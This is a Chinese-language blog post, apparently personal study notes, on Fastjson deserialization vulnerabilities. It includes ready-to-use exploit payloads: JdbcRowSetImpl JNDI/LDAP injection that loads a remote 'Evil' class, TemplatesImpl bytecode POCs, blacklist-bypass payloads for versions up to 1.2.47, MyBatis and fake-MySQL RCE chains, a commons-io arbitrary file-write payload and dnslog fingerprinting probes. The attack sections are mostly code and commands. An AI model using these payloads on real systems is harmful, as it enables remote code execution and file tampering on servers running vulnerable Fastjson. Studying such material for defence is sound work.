当前位置:   article > 正文

fastjson反序列化漏洞学习(一)

fastjson反序列化漏洞

0x00:Fastjson简介

Fastjson 是阿里巴巴开源的一个 Java 的 JSON 解析库。它提供了快速、高效、简洁的 JSON 解析功能。Fastjson 不仅支持常见的 JSON 数据类型(如字符串、数字、布尔值、数组、对象等),还支持 Java 原生数据类型(如整型、浮点型、数组、集合等)与 JSON 之间的互相转换。Fastjson 支持通过注解和 API 自定义 JSON 序列化和反序列化的过程,以满足不同的需求。总的来说,Fastjson 是一个高效、易用、功能丰富的 JSON 解析库,是处理 JSON 数据的首选工具。

0x001:产生反序列化漏洞的原因

Fastjson 反序列化漏洞产生的原因通常是由于 Fastjson 库在反序列化 JSON 数据时存在安全漏洞。这些漏洞可以被攻击者利用来执行任意代码、访问系统文件、读取敏感数据等危险操作。

具体来说,Fastjson 反序列化漏洞的产生原因包括:

1、反序列化时不对用户输入的 JSON 数据进行足够的安全检查,从而导致攻击者可以在反序列化的过程中注入恶意数据。

2、Fastjson 库支持反序列化非 Java 原生类型的对象,如果不对这些对象进行足够的安全限制,攻击者就可以通过构造恶意 JSON 数据来执行任意代码。

3、Fastjson 库在反序列化 JSON 数据时存在多处安全漏洞,例如针对关键字的黑名单检查不严格,对类型的限制不严格等。

4、Fastjson 库没有对类加载器进行足够的限制,从而导致攻击者可以利用类加载器加载恶意类,并在反序列化 JSON 数据时执行任意代码。

简单的来说:

Fastjson提供了autotype功能,允许用户在反序列化数据中通过“@type”指定反序列化的类型,Fastjson自定义的反序列化机制会调用指定类中的setter方法及部分getter方法,当组件开启了autotype功能并且反序列化不可信数据时,攻击者可以构造数据,使目标应用的代码执行流程进入特定类的特定setter或者getter方法中,若指定类的指定方法中有gadget,则会造成一些严重的安全问题。

0x003实验环境搭建

  1. 创建一个MVN项目,并在pom.xml中添加含有漏洞版本的Fastjson(本次实验的版本是1.2.24)

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.24</version>
  5. </dependency>
  1. 修改JDK版本为8u161 < jdk < 8u191(本次实验使用的是8U162)

  1. 创建一个pojo类

  1. package flynAAAA;
  2. public class Student {
  3. private String name;
  4. private int age;
  5. private String hobby;
  6. public Student() {
  7. }
  8. public Student(String name, int age, String hobby) {
  9. this.name = name;
  10. this.age = age;
  11. this.hobby = hobby;
  12. }
  13. public String getName() {
  14. System.out.println("调用了getName");
  15. return name;
  16. }
  17. public void setName(String name) {
  18. System.out.println("调用了setName");
  19. this.name = name;
  20. }
  21. public int getAge() {
  22. return age;
  23. }
  24. public void setAge(int age) {
  25. this.age = age;
  26. }
  27. public String getHobby() {
  28. return hobby;
  29. }
  30. public void setHobby(String hobby) {
  31. this.hobby = hobby;
  32. }
  33. @Override
  34. public String toString() {
  35. return "user{" +
  36. "name='" + name + '\'' +
  37. ", age=" + age +
  38. ", hobby='" + hobby + '\'' +
  39. '}';
  40. }
  41. }
  1. 创建一个测试类

  1. package flynAAAA;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.serializer.SerializerFeature;
  4. public class Unser {
  5. public static void main(String[] args) {
  6. Student user = new Student("FlynAAAA",18,"Play");
  7. String s2 = JSON.toJSONString(user, SerializerFeature.WriteClassName);//把user对象转换成带@type的json字符串
  8. System.out.println(s2);
  9. System.out.println("----------------------------------");
  10. Object parse1 = JSON.parseObject(s2);
  11. System.out.println(parse1);//把json字符串转换成对象
  12. System.out.println(parse1.getClass().getName());
  13. }
  14. }
  1. 运行结果:

从结果可以看出

  1. 转换成的json字符串带@type,他的值为flynAAAA.Student,也就是说指定反序列化的类型为flynAAAA.Student

  1. 在使用parseObject将S2利用反序列化转换成对象的时候调用了Name的seter和geter方法。

0x004 调试反序列化过程:

接下来对反序列化流程进行分析:

紧接着将json字符串转换成parse对象,接下来进入parse对象中

再次对parse进行跟进。

进入parse中,这里回创建一个默认的parser对象“DefaultJSONParser”,继续跟进DefaultJSONParser。作用是对对输入的数据进行封装。

在DefaultJSONParser中会对输入的json字符串进行判断如果开头是“{”给一个token值为12,如果是“[”给值14。最终token的值为12.

紧接着返回parse类中,之后执行DefaultJSONParser类中的parse方法。继续进行跟进。

在DefaultJSONParser类中的,先将上一步DefaultJSONParser封装的结果赋值给lexer。

parse方法中会对前面的token值进行判断,不同token会进行不同的操作。Token值为12,首先创建了一个JSONObject对象,该对象是一个map类型的。之后在执行DefaultJSONParser类中的parseObject方法。

跟进DefaultJSONParser类中的parseObject方法,在该方法中会对当前对象的token值进行判断。之后根据转换的方式(转换方式可以这样理解:@type是自动转换)进行判断,根据转换方式得到需要反序列化类的名字(lexer.scanSymbol的作用就是得到需要反序列化类的名字,@type:flynAAAA.Student),之后使用TypeUtils.loadClass进行加载。

跟进TypeUtils.loadClass,需要反序列化类名别传入classname和classload被传入,此时classload为null。之后会在mappings进行查找flynAAAA.Student对应的值。

mappings的作用相当于缓存表里面存放着一些内置的类,由于mappings中没有flynAAAA.Student对应的值,所以当前clazz的值为空。

之后对clazz的值进行判断。

由于clazz的值为null,之后为clazz创建一个classload并放入mapping中。

之后返回到DefaultJSONParse#中的parseObiect中进行反序列化。跟进getDeserializer()

在getDeserializer(),首先在缓存里面进行查询。然后在进行getDeserializer,追进getDeserializer。

追进getDeserializer,也同样是在缓存里面进行检查,如果没有,会对反序列化的方式进行判断,不过之前会对有一个进行黑名单(denylist)判断。

Denylist的内容:

之后会以JavaBean的反序列化,在 createJavaBeanDeserializer使用JavaBean的反序列化。build方法通过反射加载clazz中的所有方法 位置com.alibaba.fastjson.util.JavaBeanInfo

之后在build方法中查找get、set

小结:

经过上面的调试,了解到fastjson将json字符串转换成对象时为什么调用Seter、get。以及反序列的流程,接下来分析gadget链子。

0x005:利用链分析

适用范围:Fastjson 1.2.22-1.2.24

  1. JdbcRowSetImpl利用链

漏洞原理:

@type指向com.sun.rowset.JdbcRowSetImpl类,dataSourceName值为RMI服务中心绑定的Exploit服务,autoCommit有且必须为true或false等布尔值类型

  1. 环境部署:

Fastjson版本:1.2.24

恶意rmi/ladp服务端:marshalsec-0.0.3-SNAPSHOT-all.jar

  1. ldap:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088
  2. rmi:java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://192.168.40.128:9988/#Evil" 8088

服务端恶意类:

  1. import java.io.IOException;
  2. public class Evil {
  3. // 静态代码块, 当类被加载时调用
  4. public Evil() throws Exception{
  5. Runtime.getRuntime().exec("calc");
  6. }
  7. }

在服务端恶意代码的当前目录下开启http服务:

python -m http.server 9988

创建一个mvn项目,并且创建一个demo

  1. package flynAAAA;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.Feature;
  4. public class jndi {
  5. public static void main (String[] args) {
  6. String exp="{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://192.168.40.128:8088/#Evil\",\"autoCommit\":true}";
  7. JSON.parseObject(exp);
  8. }
  9. }

结果:

  1. JdbcRowSetImpl利用链分析

经过上面的反序列话调试的部分一直往下走,到setDataSourceName:4298, JdbcRowSetImpl (com.sun.rowset)

直到setDataSourceName,dataSource的值为服务器上的恶意ldap地址

这个时候调用栈为:

  1. setDataSourceName:4309, JdbcRowSetImpl (com.sun.rowset)
  2. deserialze:-1, FastjsonASMDeserializer_1_JdbcRowSetImpl (com.alibaba.fastjson.parser.deserializer)
  3. deserialze:184, JavaBeanDeserializer (com.alibaba.fastjson.parser.deserializer)
  4. parseObject:368, DefaultJSONParser (com.alibaba.fastjson.parser)
  5. parse:1327, DefaultJSONParser (com.alibaba.fastjson.parser)
  6. parse:1293, DefaultJSONParser (com.alibaba.fastjson.parser)
  7. parse:137, JSON (com.alibaba.fastjson)
  8. parse:128, JSON (com.alibaba.fastjson)
  9. parseObject:201, JSON (com.alibaba.fastjson)
  10. main:10, jndi (flynAAAA)

直到JdbcRowSetImpl#setAutoCommit函数,设置autoCommit值,调用了connect()方法。跟进connect()方法。

在connect(),方法中this.con的值为空,紧接着判断DataSourceName(),上面已经知道DataSourceName值为ldap://192.168.40.128:8088/#Evil(可控),所以造成jndi漏洞。

Fastjson将对象转为Json通过toJSONString()方法,而将Json转换为对象有三个方法,这三个方法转换的时候也都会调用getter、setter,但触发条件不同:

  1. 1)parseObject(String text, Class\ clazz)
  2. Getter
  3. 方法名需要长于4
  4. 非静态方法
  5. 以 get 字符串开头,且第四个字符需要是大写字母
  6. 方法不能有参数
  7. 返回值类型继承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
  8. getter 方法对应的属性只能有 getter 不能有setter方法
  9. 方法为 public 属性
  10. Setter
  11. 方法名长度大于4且以set开头
  12. 非静态函数
  13. 返回类型为void或当前类
  14. 参数个数为1
  15. 方法为 public 属性
  16. 2)parseObject(String text)
  17. getter
  18. 方法名长度大于4且以get开头
  19. 非静态函数
  20. 方法不能有参数
  21. public 属性
  22. setter
  23. 方法名长度大于4且以set开头
  24. 非静态函数
  25. 返回类型为void或当前类
  26. 参数个数为1
  27. 3)parse (String text)
  28. getter
  29. 方法名需要长于4
  30. 非静态方法
  31. 以 get 字符串开头,且第四个字符需要是大写字母
  32. 方法不能有参数
  33. 返回值类型继承自Collection,Map,AtomicBoolean,AtomicInteger,AtomicLong
  34. getter 方法对应的属性只能有 getter 不能有setter方法
  35. 方法为 public 属性
  36. setter
  37. 方法名长度大于4且以set开头
  38. 非静态函数
  39. 返回类型为void或当前类
  40. 参数个数为1
  41. public 属性
  1. Templateslmpl利用链分析

漏洞原理:Fastjson通过bytecodes字段传入恶意类,调用outputProperties属性的getter方法时,实例化传入的恶意类,调用其构造方法,造成任意命令执行。

优点:不出网

前提:在使用parse反序列话的时候第二个参数需要设置“Feature.SupportNonPublicField”所以有很大的限制。

  1. 环境搭建

先生成POC,代码如下:

  1. package flynAAAA;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.Feature;
  4. import com.alibaba.fastjson.parser.ParserConfig;
  5. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  6. import javassist.ClassPool;
  7. import javassist.CtClass;
  8. import org.apache.tomcat.util.codec.binary.Base64;
  9. public class TEMPOC {
  10. public static class test{
  11. }
  12. public static void main(String[] args) throws Exception {
  13. // 实例化 ClassPool 用于修改class文件
  14. ClassPool pool = ClassPool.getDefault();
  15. // 获取test.class
  16. CtClass cc = pool.get(test.class.getName());
  17. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
  18. // 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
  19. cc.makeClassInitializer().insertBefore(cmd);
  20. // 设置类名。
  21. String randomClassName = "FlynAAAAA"+System.nanoTime();
  22. cc.setName(randomClassName);
  23. cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
  24. // 将生成的class文件保存当当前项目目录下
  25. cc.writeFile("./");
  26. try {
  27. byte[] evilCode= cc.toBytecode();
  28. String evilCode_base64 = new String(Base64.encodeBase64(evilCode));
  29. final String NASTY_CLASS = "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
  30. String text1 = "{"+
  31. "\"@type\":\"" + NASTY_CLASS +"\","+
  32. "\"_bytecodes\":[\""+evilCode_base64+"\"],"+
  33. "'_name':'a.b',"+
  34. "'_tfactory':{ },"+
  35. "'_outputProperties':{ }"+
  36. "}\n";
  37. // 输出构造好的POC
  38. System.out.println(text1);
  39. } catch (Exception e) {
  40. e.printStackTrace();
  41. }
  42. }
  43. }

运行结果如下:

创建测试类:

  1. package flynAAAA;
  2. import com.alibaba.fastjson.JSON;
  3. import com.alibaba.fastjson.parser.Feature;
  4. public class jndi {
  5. public static void main (String[] args) {
  6. String exp="{\"@type\":\"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl\",\"_bytecodes\":[\"yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAFEVyaXRrZW4zOTM5NzQwNjExMzAwAQAWTEVyaXRrZW4zOTM5NzQwNjExMzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ==\"],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}";
  7. JSON.parseObject(exp, Feature.SupportNonPublicField);
  8. }
  9. }

运行结果:

  1. Templateslmpl链调试

前置:

ClassLoader 处理字节码的流程为 loadClass -> findClass -> defineClass

loadClass: 从已加载的类缓存、父加载器等位置寻找类(这里实际上是双亲委派机制),在前面没有找到的情况下,执行 findClass

findClass: 根据基础URL指定的方式来加载类的字节码

defineClass:处理前面传入的字节码,将其处理成真正的Java类

而Classloader#defineClass是protected方法,所以不可以直接调用,写一个简单的demo:

  1. package flynAAAA;
  2. import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
  3. import javassist.ClassPool;
  4. import javassist.CtClass;
  5. import java.lang.reflect.Method;
  6. public class Demo
  7. {
  8. // 定义test类用做恶意类
  9. public static class test{}
  10. public static void main(String[] args) throws Exception
  11. {
  12. // 反射拿 defineClass() 方法
  13. Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class,byte[].class, int.class, int.class);
  14. // 暴力访问
  15. defineClass.setAccessible(true);
  16. // 实例化 ClassPool 用于修改class文件
  17. ClassPool pool = ClassPool.getDefault();
  18. // 获取test.class
  19. CtClass cc = pool.get(Demo.test.class.getName());
  20. // 定义恶意静态方法
  21. String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
  22. // 新建一个static代码块,内容为java.lang.Runtime.getRuntime().exec("calc.exe");
  23. cc.makeClassInitializer().insertBefore(cmd);
  24. // 设置类名。
  25. String randomClassName = "FlynAAAA"+System.nanoTime();
  26. cc.setName(randomClassName);
  27. cc.setSuperclass((pool.get(AbstractTranslet.class.getName())));
  28. // 将生成的class文件保存当当前项目目录下
  29. cc.writeFile("./");
  30. // 获取恶意类的字节码
  31. byte[] evilCode = cc.toBytecode();
  32. System.out.println(evilCode);
  33. // 加载恶意类的字节码
  34. Class hello = (Class)defineClass.invoke(ClassLoader.getSystemClassLoader(),null, evilCode, 0, evilCode.length);
  35. hello.newInstance();
  36. }
  37. }

结果:

这里必须要newInstance(),否则即使是定义的static静态代码块也不会被加载,这就意味着想要利用defineClass去加载恶意字节码执行命令,就必须要有方法能够调用恶意类的构造方法(真正加载恶意类)

回到正题:

TemplatesImpl重写了defineClass(),并且这里没有显式地声明其定义域。Java中默认情况下,如果一个方法没有显式声明作用域,其作用域为default。所以也就是说这里defineClass由其父类的protected类型变成了一个default类型的方法,可以被类外部调用。

由于fastjson使用JSON.parseObject方法反序列化会调用get 和set方法.在TemplatesImpl中属性的get和set方法中getOutputProperties方法重写了newTransformer方法

继续跟进 newTransformer,发现在newTransformer里面使用了getTransletInstance(),

跟进getTransletInstance()需要_name!=null,_class == null

由于TemplatesImpl对defineclass进行了重写 对_bytecodes中的恶意代码进行加载,导致执行恶意代码.

Poc:

{"@type":"com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes":["yv66vgAAADQAJgoAAwAPBwAhBwASAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAAR0ZXN0AQAMSW5uZXJDbGFzc2VzAQAWTGZseW5BQUFBL1RFTVBPQyR0ZXN0OwEAClNvdXJjZUZpbGUBAAtURU1QT0MuamF2YQwABAAFBwATAQAUZmx5bkFBQUEvVEVNUE9DJHRlc3QBABBqYXZhL2xhbmcvT2JqZWN0AQAPZmx5bkFBQUEvVEVNUE9DAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAFQEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMABcAGAoAFgAZAQAIY2FsYy5leGUIABsBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7DAAdAB4KABYAHwEAF0ZseW5BQUFBQTE4ODY1MDE3NDAyNzAwAQAZTEZseW5BQUFBQTE4ODY1MDE3NDAyNzAwOwEAQGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ydW50aW1lL0Fic3RyYWN0VHJhbnNsZXQHACMKACQADwAhAAIAJAAAAAAAAgABAAQABQABAAYAAAAvAAEAAQAAAAUqtwAlsQAAAAIABwAAAAYAAQAAAA0ACAAAAAwAAQAAAAUACQAiAAAACAAUAAUAAQAGAAAAFgACAAAAAAAKuAAaEhy2ACBXsQAAAAAAAgANAAAAAgAOAAsAAAAKAAEAAgAQAAoACQ=="],'_name':'a.b','_tfactory':{ },'_outputProperties':{ }}

0x006 高版本绕过方式:

  1. 1.2.25~1.2.41

1.2.25开始fastjson默认关闭了反序列化的类,如果需要反序列化类,需要开启AutoType,开启后对反序列化的类进行黑名单检测。下面是开启AutoType后的对白名单进行绕过。

环境搭建:

Fastjsong版本:

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.25</version>
  5. </dependency>

开始先对在com.alibaba.fastjson.parser中加载黑名单:

之后在TypeUtils加载之前,进行checkAutoType检查:

跟进checkAutoType,之后进行黑名单匹配

之后使用TypeUtils.classload进行加载该类

继续跟进,如果传入的类以“L”开头,以“;”结尾,那么便会掐头去尾,保留中间部分

结果将@type的值改成“Lcom.sun.rowset.JdbcRowSetImpl”,就能进行绕过。

{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
  1. 1.2.25~1.2.42

fastjson版本:

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.42</version>
  5. </dependency>

在1.2.42,官方将黑名单类做hash混淆处理:

在checkAutoType方法中先对typeName进行长度判断大于3切小于128

与黑名单中的hash进行拼配后,为了修复上个版本的“L ;”绕过,在进入loadclass之前就进行“掐头去尾”,处理。

不难看出在loadclass方法里进行了“掐头去尾”处理,但这个loadclass方法是回调函数。

进行了三次“掐头去尾”后处理结果。

直到结果:

结果:

poc:

{"@type":"LLLcom.sun.rowset.JdbcRowSetImpl;;;","dataSourceName":"ldap://192.168.40.128:8088/#Evil", "autoCommit":1}
  1. 1.2.25~1.2.43

Fastjson版本:

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.43</version>
  5. </dependency>

经过上面的研究,可以想到这次修复肯定修复了LL开头,但是使用[又可以进行绕过。

Poc:

  1. String exp="{\"@type\":\"[com.sun.rowset.JdbcRowSetImpl\"[{,\"dataSourceName\":\"ldap://192.168.40.128:8088/Evil\", \"autoCommit\":true}]}";
  2. //这里又一个fastjson第一个{是可以不用闭合,也就是说最后可以少一个}。理解不了没关系,这个POC是完整的闭合。
  1. 1.2.25~1.2.45

基于Mybatis的利用链

org.apache.ibatis.datasource.jndi.JndiDataSourceFactory,这条链子同样影响1.2.45,但Mybatis的版本必须小于3.5.6

Mybatis版本:

  1. <dependency>
  2. <groupId>org.mybatis</groupId>
  3. <artifactId>mybatis</artifactId>
  4. <version>3.5.5</version>
  5. </dependency>

Fastjson版本:

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.43</version>
  5. </dependency>

Demo:

  1. package flynAAAA;
  2. import org.apache.ibatis.datasource.jndi.JndiDataSourceFactory;
  3. import java.util.Properties;
  4. public class client2 {
  5. public static void main(String[] args) throws Exception {
  6. JndiDataSourceFactory jndiDataSourceFactory = new JndiDataSourceFactory();
  7. Properties datasource = new Properties();
  8. datasource.setProperty("data_source", "ldap://192.168.40.128:8088/Evil");
  9. jndiDataSourceFactory.setProperties(datasource);
  10. }
  11. }

如果properties中存在data_source键,则将对应值带如lookup(),造成JNDI注入:

最终POC:

{"@type":"org.apache.ibatis.datasource.jndi.JndiDataSourceFactory","properties":{"data_source":"ldap://192.168.40.128:8088/#Evil"}
  1. <=1.2.47

这次这个版本(借助浅蓝大佬的文章进行学习)可以在不需要开启autoTypeSupport的触发漏洞:

Fastjson版本:

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.47</version>
  5. </dependency>

在checkAutoType中,在开启autoTypeSupport的情况下,代码会走到Arrays.binarySearch(this.denyHashCodes, hash) >= 0 && TypeUtils.getClassFromMapping(typeName) == null来进行判断抛出异常,如果不符合的话会继续往下走从Mapping和deserializers缓存中寻找类,如果存在则返回clazz.这次使用的是java.lang.Class刚好可以绕过黑名单检测。通过deserializers.findClass找到该类。

而在ParserConfig类初始化时会执行initDeserializers方法,会向deserializers中添加许多的类,类似一种缓存,其中会添加这么一个类this.deserializers.put(Class.class, MiscCodec.instance);接下来直接进入MiscCode.java中的deseriale方法,lexer.token() == JSONToken.LITERAL_STRING为false走到else,紧接着进入parser.paser中,objVal的值为com.sun.rowset.JdbcRowSetImpl。

之后对objval的值进行判断,objVal赋值给strVal

随后进入TypeUtils.loadClass中,

跟进TypeUtils.loadClass,首先在mappings里面查找com.sun.rowset.JdbcRowSetImpl没有找到,之后创建一个为此创建了一个classload并加入缓存中。

当程序第二次加载checkAutoType()时,恶意类已经存在于mapping缓存中,所以成功取值clazz,直经过判断后接返回

非常巧妙地绕过了AutoType与黑名单机制,触发RCE,1.2.47的精髓就在于,通过java.lang.class触发缓存机制,利用loadClass()的递归解析将JdbcRowSetImpl添加到缓存,从而绕过了checkAutoType()与黑名单。

  1. <=1.2.68

总结到这里真的麻了!!!!!(分析过程就先省略,有机会再补充)

升级后的checkAutoType()验证的流程图

Fastsjon版本:

  1. <dependency>
  2. <groupId>com.alibaba</groupId>
  3. <artifactId>fastjson</artifactId>
  4. <version>1.2.68</version>
  5. </dependency>

MySQL版本

  1. <dependency>
  2. <groupId>mysql</groupId>
  3. <artifactId>mysql-connector-java</artifactId>
  4. <version>5.1.11</version>
  5. </dependency>

这里Mysql的RCE利用的是JDBC的反序列化链,原理就是通过JDBC连接MySQL服务端时,会执行SQL查询,其中查询的结果集会在客户端调用ObjectInputStream.readObject()进行反序列化操作,如果我们能够控制结果以及连接地址,就会触发RCE。

需要用到fakemysql下载连接:

https://github.com/fnmsd/MySQL_Fake_Server/

下载完成之后解压将yso放到当前目录:

之后开启server:

Demo:

  1. {
  2. "@type": "java.lang.AutoCloseable",
  3. "@type": "com.mysql.jdbc.JDBC4Connection",
  4. "hostToConnectTo": "127.0.0.1",
  5. "portToConnectTo": 3306,
  6. "info": {
  7. "user": "yso_CommonsCollections5_calc",
  8. "password": "pass",
  9. "statementInterceptors": "com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor",
  10. "autoDeserialize": "true",
  11. "NUM_HOSTS": "1"
  12. },
  13. "databaseToConnectTo": "dbname",
  14. "url": ""
  15. }

结果:

还有师傅挖掘到了基于commons-io 2.0~2.6 的任意文件写入链,

POC:

  1. package flynAAAA;
  2. import com.alibaba.fastjson.JSON;
  3. import java.util.Random;
  4. public class client6
  5. {
  6. private static final Random RAND = new Random();
  7. public static void main(String[] args) {
  8. String aaa_8192 = "FlynAAAAA"+"\n"+getRandomString(81920);
  9. String write_name = "E://2.txt";
  10. String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";
  11. System.out.println(payload_commons_io_filewrite_0_6);
  12. JSON.parse(payload_commons_io_filewrite_0_6);
  13. }
  14. public static String getRandomString(int numChars) {
  15. int chars = RAND.nextInt(numChars);
  16. while (chars == 0)
  17. chars = RAND.nextInt(numChars);
  18. StringBuffer sb = new StringBuffer();
  19. for (int i = 0; i < chars; i++) {
  20. int index = 97 + RAND.nextInt(26);
  21. char c = (char) index;
  22. sb.append(c);
  23. }
  24. return sb.toString();
  25. }
  26. }

结果:

0x007 指纹识别:

  1. {"@type":"java.net.InetAddress","val":"dnslog"}
  2. {"@type":"java.net.Inet4Address","val":"dnslog"}
  3. {"@type":"java.net.Inet6Address","val":"dnslog"}
  4. {"@type":"java.net.InetSocketAddress"{"address":,"val":"dnslog"}}
  5. {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}
  6. {"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://dnslog"}}""}
  7. Set[{"@type":"java.net.URL","val":"http://dnslog"}]
  8. Set[{"@type":"java.net.URL","val":"http://dnslog"}
  9. {{"@type":"java.net.URL","val":"http://dnslog"}:0
  10. {"ss":{"@type":"com.alibaba.fastjson.JSONObject",{"@type":"java.net.URL","val":"http://xxx.dnslog.cn"}}""},}
  11. [{"a":"a\x]
  12. {"@type":"java.lang.AutoCloseable" //版本检测

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/IT小白/article/detail/923076
推荐阅读
相关标签
  

闽ICP备14008679号